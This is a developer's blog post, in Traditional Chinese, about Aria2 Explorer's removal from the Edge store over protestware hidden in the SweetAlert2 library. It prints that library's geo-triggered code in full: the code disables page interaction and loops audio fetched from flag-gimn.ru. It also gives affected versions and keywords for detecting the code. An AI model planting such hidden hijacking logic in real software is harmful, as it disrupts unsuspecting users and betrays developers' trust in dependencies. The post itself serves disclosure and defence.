Aria2 Explorer 被微軟下架真相報告

一個星標過萬的開源函式庫,一段永遠不會觸發的程式碼,讓我們莫名其妙成為了「惡意軟體」作者

···

摘要:2025年8月,我們的用戶透過 GitHub 提醒作者 Aria2 Explorer 被微軟 Edge 商店突然下架,並在瀏覽器中貼上了「含有惡意軟體」的標籤。此後我們與微軟反覆溝通、對程式碼進行了數次修改,歷時半年始終無果。直到最近透過 AI 提示,對程式碼中所有可疑連結進行系統排查,才發現了一個指向 flag-gimn.ru 的可疑網域,透過搜尋關聯到第三方依賴函式庫 SweetAlert2,並最終追溯到這是作者在俄烏戰爭期間主動注入的一段政治性程式碼——而這段程式碼在我們的擴充功能中,並不可能被觸發。這是我們的完整記錄。


一、事件經過

2025年8月8日,多位用戶在 GitHub 提交 Issue,告知我們:Aria2 Explorer 已從 Microsoft Edge 擴充功能商店下架。

微軟給出的理由是:

The extension contains or enables malware/PUA.

Aria2 Explorer 是一款幫助用戶將瀏覽器下載任務匯出到 Aria2 並進行任務管理的開源擴充功能,程式碼完全公開在 GitHub,擁有超過10萬活躍用戶,已持續維護更新8年之久。我們拒絕了無數廣告合作與收購邀約,只想做一個乾淨、好用的下載工具。「含有惡意軟體」這個定性,對我們來說既荒謬,又有點哭笑不得。

下架後,我們立即透過微軟瀏覽器擴充功能官方 GitHub 和電子郵件與微軟瀏覽器擴充功能團隊展開溝通。對方的回應始終極為模糊,其中只在一次電子郵件反饋中提到「發現了可疑網域」,卻從未指出具體是哪個網域、哪段程式碼、哪個檔案,其餘回復皆是「違反開發者協議,包含惡意程式」。在沒有任何具體線索的情況下,我們只能憑借經驗和猜測,開始了一場方向全錯的排查。


二、排查過程:方向全錯的半年

排查分為兩個階段。

第一階段(2025年8月~9月,約一個月):由於問題描述過於模糊,且是突然被下架,無法定位到具體是哪一次修改導致的。我們自然而然地將注意力集中在了擴充功能的核心功能上——攔截和轉發瀏覽器下載任務。這個功能涉及 cookiesdownloadsscripting 等敏感權限,邏輯上最容易觸發安全審核。

我們依次刪除或改造了所有「看起來可能有問題」的功能模組:

  • aria2:// 自訂協定:透過 scheme 喚起本機應用程式開啟下載目錄,行為特徵敏感,刪除
  • 內建官方部落格:擔心內容包含外部連結,刪除
  • 點擊偵測 content script:攔截用戶點擊行為,容易被誤判為追蹤,刪除
  • 官網版本檢查請求:定期請求外部 URL,刪除
  • 反覆調整權限宣告:嘗試將 cookies 改為按需申請,精簡 host permissions……

每次修改後重新提交,每次都被拒絕,理由一字不變。這一階段提交了五六次修改版本,每一次都是在沒有明確方向的情況下盲目嘗試,最終無果而終。

第二階段(2026年3月):時隔數月後,我們心血來潮,嘗試借助 AI 對問題進行系統性分析。在 AI 的提示下,對擴充功能程式碼中所有包含的 URL 和網域進行了一次全文掃描,幾天之內便找到了真正的根因。

問題的根源,我們始終沒有在第一階段找到——因為我們從一開始就盯錯了地方。


三、真相:藏在 SweetAlert2 裡的政治程式碼

透過對擴充功能程式碼中所有包含的 URL 和網域進行系統性全文掃描,發現了一個此前從未注意到的陌生網域:

flag-gimn.ru

透過搜尋這個網域,我們將其定位到了開源 UI 函式庫 SweetAlert2,並發現其官方 GitHub 已有大量 Issue 討論此事,諸如:

問題定位到了以下程式碼:

if (
  typeof window !== 'undefined' &&
  /^ru\b/.test(navigator.language) &&
  location.host.match(/\.(ru|su|xn--p1ai)$/)
) {
  const now = new Date()
  const initiationDate = localStorage.getItem('swal-initiation')
  if (!initiationDate) {
    localStorage.setItem('swal-initiation', `${now}`)
  } else if (
    (now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3
  ) {
    setTimeout(() => {
      document.body.style.pointerEvents = 'none'
      const ukrainianAnthem = document.createElement('audio')
      ukrainianAnthem.src =
        'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3'
      ukrainianAnthem.loop = true
      document.body.appendChild(ukrainianAnthem)
      setTimeout(() => {
        ukrainianAnthem.play().catch(() => {})
      }, 2500)
    }, 500)
  }
}

邏輯很簡單:偵測用戶語言為俄語、且網域為俄羅斯網域,滿足條件並超過3天後——完全停用頁面所有點擊互動,同時從 flag-gimn.ru 載入並強制循環播放烏克蘭國歌。

從任何安全審核系統的視角來看,這段程式碼具備教科書級別的惡意特徵:頁面劫持、載入外部資源、連接可疑網域、隱藏的定時觸發邏輯。flag-gimn.ru,正是微軟所說的「suspicious domain」的真正來源。


值得一提的是:這段程式碼在我們的擴充功能中實際上永遠不會被觸發——擴充功能運行在瀏覽器環境中,location.host 是擴充功能自身的網域,根本不可能匹配 .ru 網域。我們只是不幸地攜帶了這段程式碼,成為了掃描器的誤傷目標。


一開始我們並沒有把問題聚焦在前端 UI 程式碼上,因為微軟商店上其他內建 AriaNg 的擴充功能並沒有被下架。當然這件事與 AriaNg 原作者沒有任何關係,是我們升級了部分元件導致的。

找到根因後,我們用 AI 花了大約20分鐘,將 SweetAlert2 在專案中的所有呼叫替換為自行複刻的輕量實作。效果看上去無二,甚至做了一點點美化(得意😏),程式碼完全可控,也不再依賴任何可能在未來悄悄改變的第三方函式庫。某種程度上,這也算是對這件事最輕描淡寫的一個結尾。


四、事件背景:這不是 bug,是作者的主動選擇

SweetAlert2 是一個極為流行的開源 JavaScript 彈窗函式庫,npm 週下載量接近百萬。正因如此,我們在引入它時完全沒有進行程式碼審查——沒有人會去審查一個用了幾年、星標過萬的成熟 UI 函式庫。

這段程式碼不是第三方投毒,而是 SweetAlert2 的作者 limonte 本人在俄烏戰爭爆發後主動注入的。

  • 2022年3月:作者將這段程式碼加入 SweetAlert2,起初是插入反戰彈窗,後升級為停用頁面互動並強制播放烏克蘭國歌 Commit: 7de8f7af
  • 2022年11月:社群開發者發現並提交 GitHub Issue #2552,指出此行為「幾乎可以被認定為惡意軟體」,作者選擇保留
  • 2023年7月:知名密碼管理器 Bitwarden 被用戶發現間接包含此程式碼,頁面在俄語環境下會被完全鎖定 GitHub Issue #5734
  • 2024年9月:我們在深度定制和升級 AriaNG 時引入了 SweetAlert2,這段存在了兩年多的程式碼隨之進入我們的程式碼庫
  • 2025年8月:這個問題集中爆發,猜測是某安全掃描工具更新了樣本庫,Chrome 商店和微軟商店幾乎在同一時間將包含此程式碼的擴充功能標記為違規,Aria2 Explorer 被 Edge 商店下架
  • 2025年8月14日:作者在 v11.22.4 中透過 PR #2847 正式移除了這段程式碼——觸發這次移除的直接原因,是 Chrome 商店有開發者提 GitHub Issue #2846 反映審核被拒

這其實是2022年的集體運動

2022年3月俄軍入侵烏克蘭數週後,npm 生態裡爆發了大量 protestware,包括 node-ipc、es5-ext、styled-components、event-source-polyfill 等一批流行庫相繼被注入抗議代碼。

其中危害程度差異極大:node-ipc 直接在疑似俄羅斯和白俄羅斯的開發者機器上執行文件清除操作,實質上已是惡意軟體;而 es5-ext、styled-components 等只是顯示文字訊息,相對溫和。

SweetAlert2 的問題在於它走了第三條路——運行時劫持頁面 + 加載外部資源,危害介於兩者之間,但恰好是最容易觸發商店安全掃描的那種形態。


五、兩個商店,兩種態度

同樣的程式碼,同樣的掃描,兩家商店的處理方式形成了鮮明對比。

Google Chrome 團隊選擇了網開一面。可能是考慮到這段程式碼在我們的擴充功能中根本無法被觸發,為了減少影響並沒有下架擴充功能,否則可能跳進黃河也洗不清了,當然也可能迫使我們更早地發現問題😅。

微軟 Edge 團隊則在長達半年的多輪、多管道溝通中,只給出過一次「發現了可疑網域」這一含糊的資訊,其餘溝通拒絕提供任何可操作的具體資訊。對於一個沒有配備商業程式碼掃描工具的獨立開發者來說,這等於什麼都沒說。可能是涉及的資訊稍顯敏感,不方便詳細說明?我們無從得知。

反觀 Chrome 團隊就務實很多,從 GitHub Issue #2846 可以看出,Chrome 團隊直接給出了可疑的關鍵字 Ukraine anthem,以方便開發者排查。

我們無意在此評判兩家公司孰優孰劣,但處理方式上的這種差異,對開發者而言意味著截然不同的結果:一個得以繼續服務用戶,或者更快地定位問題,另一個則讓開發者在黑暗中摸索了半年。


六、反思

我們理解戰爭中的憤怒,也理解一個開發者想要用自己的方式表達立場的衝動。

個人的政治主張有很多表達方式,但不應該是這種。

開源程式碼是全人類共同積累的智慧資產,建立在無數開發者之間的相互信任之上。將政治意志以隱蔽的方式注入一個被數百萬專案依賴的基礎函式庫,買單的不是任何政府或體制,而是像我們這樣毫不知情的普通開發者,以及我們的用戶。

這段程式碼存在了整整三年,在此期間有多少開發者因此受到影響,至今沒有人能給出完整的統計。而對於那些沒有配備專業掃描工具的中小開發者,也許現在還有人蒙在鼓裡。

世界正在變得越來越不穩定。正因如此,我們更應該以理智和克制的方式去處理各種矛盾與衝突,而不是向這個已經足夠混亂的世界,再添一份不必要的混亂。


七、如果你也遇到了類似的情況

如果你的擴充功能曾被 Edge 應用程式商店以「suspicious domain」或「malware/PUA」為由下架或者無法通過審核,而百思不得其解,請立刻在你的打包產物中搜尋以下關鍵字:

"flag-gimn.ru"
"Ukraina.mp3"

如果你使用了 SweetAlert2,請確認版本為 v11.22.4 或以上。受影響的版本範圍為 v11.4.9 至 v11.22.3,其中 v11.4.9 至 v11.6.13 期間程式碼完全隱藏、沒有任何文件披露。v11.0.0 至 v11.4.8 不受影響。

此外,這段程式碼還擴散進了 28個以上的其他 npm 套件,即使你沒有直接使用 SweetAlert2,也建議檢查依賴鏈。

另外,GitHub 本身有安全掃描功能,建議所有開發者將 Dependabot alerts 打開,以確保供應鏈的安全。

八、最後的坎坷

這篇文章其實在3月下旬已經完成,只等 Aria2 Exploer 重新上架 Edge 商店後發布。無奈又被微軟坑了一個多月,本來以為去除了惡意程式碼,就能重新上架,結果依然被拒,又嘗試性地做了一些修改,提交了三次後還是被拒。後來只能放棄了原擴充ID,重新做了新的提交才透過審查重新上架。這段期間微軟沒有任何提示和文件告訴我們擴充一旦因惡意程式碼被下架,就再也無法恢復上架,就這樣又浪費了一個多月,并且用戶和評論都清零了。🤦‍♂️

最後

Aria2 Explorer Edge 商店現已重新上架,感謝在這段時間裡持續信任和支持我們的用戶。


文末彩蛋

雖然我們的擴充功能被 Edge 商店下架並被標記為「包含惡意軟體」,導致完全無法使用,目前依然有6千多用戶,也不知道他們是怎麼做到的——如果你是其中之一,真的很好奇你的使用方式,歡迎留言。😀

Edge 用戶曲線

作者:Alex Hua 專案地址:github.com/alexhua/Aria2-Explorer 官網:aria2e.com

Licensed under CC BY-NC-SA 4.0
使用 Hugo 建立 | 主題 StackJimmy 設計